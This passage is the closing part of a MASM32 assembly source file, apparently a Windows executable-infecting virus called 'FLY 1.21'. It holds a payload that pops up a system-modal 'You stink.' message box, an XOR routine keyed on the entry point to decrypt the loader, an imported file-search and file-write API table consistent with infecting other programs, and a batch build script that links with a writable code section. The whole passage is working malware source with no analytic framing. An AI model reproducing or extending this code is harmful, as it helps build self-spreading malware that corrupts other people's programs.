	MOV     EDI, ESP                                             ; User32 str on stack
	MOV     DWORD PTR [EDI], "RESU"
	MOV     DWORD PTR [EDI + 4], "23"
	; get MessageBoxA addr
	PUSH    EDI
	CALL    [EBP + _LoadLibrary]                                 ; EAX -> U32 base
	ADD     ESP, 8
	OR      EAX, EAX
	JZ      DriveUserNutsHiHi_exit
	LEA     EDI, [EBP + MBStrSize]                               ; EDI -> API info (str size/str)
	MOVZX   EBX, BYTE PTR [EDI]
	PUSH    EBX
	INC     EDI
	PUSH    EDI
	PUSH    EAX
	CALL    GetProcAddr                                          ; EAX -> MessageBoxA addr
	OR      EAX, EAX
	JZ	DriveUserNutsHiHi_exit
	; show msg
	PUSH    MB_SYSTEMMODAL OR MB_ICONWARNING OR MB_TOPMOST
	LEA     EBX, [EBP + szMBCaption]
	PUSH    EBX
	LEA     EBX, [EBP + szMBText]
	PUSH    EBX
	SUB     EBX, EBX
	PUSH    EBX
	CALL    EAX
  DriveUserNutsHiHi_exit:
  	RET
  	
;
; Reserved Regs: NO
;
; Args:
; EBX - EntryPoint RVA
;
; Returns: xor byte to dexor loader data parition in EAX
;
GetXorByte:
	SUB     EAX, EAX
	SUB     ECX, ECX
	ADD     CL, 4
  GetXorByte_loop:
        ADD     AL, BL
        SHR     EBX, 8
  	LOOP    GetXorByte_loop
  	RET 	

; ------ VARIABLES ----------------------------------------------------------------------
Loader_Variables:
dwEPRva                                 DD 0                         ; 0 in first generation

Variable_Crypt_Start:
dwImageBase                             DD 0                         ; 0 in first generation
dwK32Base                               DD ?

bEntryData                              DB 6 DUP (0FFh)

MBStrSize                               DB 11 + 1
szMB                                    DB "MessageBoxA", 0
szMBText                                DB "You stink.", 0
szMBCaption                             DB "FLY 1.21", 0

API_table:
                                        DB 20 + 1
_GetCurrentDirectory                    DD ?
szGetCurrentDirectory                   DB "GetCurrentDirectoryA", 0

                                        DB 20 + 1
_SetCurrentDirectory                    DD ?
szSetCurrentDirectory                   DB "SetCurrentDirectoryA", 0

                                        DB 14 + 1
_FindFirstFile                          DD ?
szFindFirstFile                         DB "FindFirstFileA", 0

                                        DB 13 + 1
_FindNextFile                           DD ?
szFindNextFile                          DB "FindNextFileA", 0

                                        DB 9 + 1
_FindClose                              DD ?
szFindClose                             DB "FindClose", 0

                                        DB 11 + 1
_CreateFile                             DD ?
szCreateFile                            DB "CreateFileA", 0

                                        DB 11 + 1
_CloseHandle                            DD ?
szCloseHandle                           DB "CloseHandle", 0

                                        DB 11 + 1
_GetFileSize                            DD ?
szGetFileSize                           DB "GetFileSize", 0

                                        DB 11 + 1
_GlobalAlloc                            DD ?
szGlobalAlloc                           DB "GlobalAlloc", 0

                                        DB 10 + 1
_GlobalFree                             DD ?
szGlobalFree                            DB "GlobalFree", 0

                                        DB 8 + 1
_ReadFile                               DD ?
szReadFile                              DB "ReadFile", 0

                                        DB 9 + 1
_WriteFile                              DD ?
szWriteFile                             DB "WriteFile", 0

                                        DB 14 + 1
_SetFilePointer                         DD ?
szSetFilePointer                        DB "SetFilePointer", 0
                                        DB 12 + 1
_LoadLibrary                            DD ?
szLoadLibrary                           DB "LoadLibraryA", 0
                                        DB 12 + 1
_GetTickCount                           DD ?
szGetTickCount                          DB "GetTickCount", 0
dwcAPITableEnd                          DB 0
API_table_end:
Loader_Variables_end:
Variable_Crypt_End:

FLY_END:
end Main
; ------ END ----------------------------------------------------------------------------

:MAKE
CLS
\MASM32\BIN\ML /nologo /c /coff /Gz /Cp /Zp1 FLY.BAT
\MASM32\BIN\LINK /nologo /SUBSYSTEM:WINDOWS /SECTION:.text,REW FLY.obj
DEL *.OBJ
ECHO.
PAUSE
CLS